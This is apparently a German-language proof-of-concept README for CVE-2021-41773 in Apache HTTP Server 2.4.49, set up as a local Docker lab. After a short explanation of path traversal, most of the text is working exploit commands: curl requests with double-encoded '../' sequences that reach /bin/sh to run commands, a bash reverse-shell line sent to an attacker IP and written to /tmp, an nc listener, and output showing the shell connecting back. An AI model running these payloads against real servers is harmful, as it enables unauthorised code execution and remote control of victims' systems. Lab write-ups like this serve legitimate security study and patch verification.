
Proof-of-Concept-Exploit für CVE-2021-41773, der Path Traversal und Remote Code Execution auf Apache HTTP Server 2.4.49 mit einem Reverse-Shell-Payload demonstriert.
Ein Fehler wurde in einer Änderung zur Pfadnormalisierung in Apache HTTP Server 2.4.49 gefunden. Ein Angreifer könnte einen Path-Traversal-Angriff nutzen, um URLs auf Dateien außerhalb der durch Alias-ähnliche Direktiven konfigurierten Verzeichnisse abzubilden.
Wenn Dateien außerhalb dieser Verzeichnisse nicht durch die übliche Standardkonfiguration "require all denied" geschützt sind, können diese Anfragen erfolgreich sein. Wenn CGI-Skripte auch für diese Alias-Pfade aktiviert sind, könnte dies eine Remotecodeausführung ermöglichen.
Dieses Problem wird bekanntermaßen im Internet ausgenutzt.
Dieses Problem betrifft nur Apache 2.4.49 und nicht frühere Versionen.
Ein Path-Traversal-Angriff (auch als Directory Traversal bekannt) zielt darauf ab, auf Dateien und Verzeichnisse zuzugreifen, die außerhalb des Web-Root-Ordners gespeichert sind. Durch Manipulation von Variablen, die auf Dateien mit 'Punkt-Punkt-Schrägstrich (../)'-Sequenzen und deren Variationen verweisen, oder durch Verwendung absoluter Dateipfade kann es möglich sein, auf beliebige Dateien und Verzeichnisse im Dateisystem zuzugreifen, einschließlich Anwendungsquellcode oder Konfigurations- und kritischer Systemdateien. Es ist zu beachten, dass der Zugriff auf Dateien durch die betriebliche Zugriffskontrolle des Systems eingeschränkt ist (z. B. bei gesperrten oder in Verwendung befindlichen Dateien unter Microsoft Windows).
Dieser Angriff ist auch als 'Dot-Dot-Slash', 'Directory Traversal', 'Directory Climbing' und 'Backtracking' bekannt.
$ docker-compose build
$ docker-compose up
Bestätigung der Funktion
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
Opfer : localhost:1234
Angreifer : 192.168.1.12
Laut Dokumentation handelt es sich um einen Fehler, der es uns ermöglicht, Code auf entfernten Systemen auszuführen (RCE).
Wir können dies ausnutzen, indem wir einen curl-Befehl mit dem cgi-bin-Ordner ausführen.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
Prüfen wir, ob wir tatsächlich Zugriff auf Befehle haben, z. B. id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. Reverse Shell
Wir werden eine Reverse Shell testen, indem wir eine Bash-Datei auf dem Server des Opfers erstellen.
Nehmen wir als Beispiel die Reverse Shell in Bash aus dem PayloadsAllTheThings Repository.
Hier ist ein Beispiel :
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Erstellen wir die Datei vuln.sh auf dem Rechner des Opfers im Ordner /tmp/ !
Diese Datei enthält unsere Reverse Shell, die wir remote ausführen können. Sie wird eine Verbindung zu unserem lokalen Rechner auf Port 44 herstellen.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
Sie können den Inhalt der Datei mit dem Befehl überprüfen
cat$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. Listener mit ncat
Erstellen wir den Listener auf dem lokalen Rechner.
$ nc -lvnp 44
Es bleibt nur noch, die entfernte Datei auszuführen.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
Antwort :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.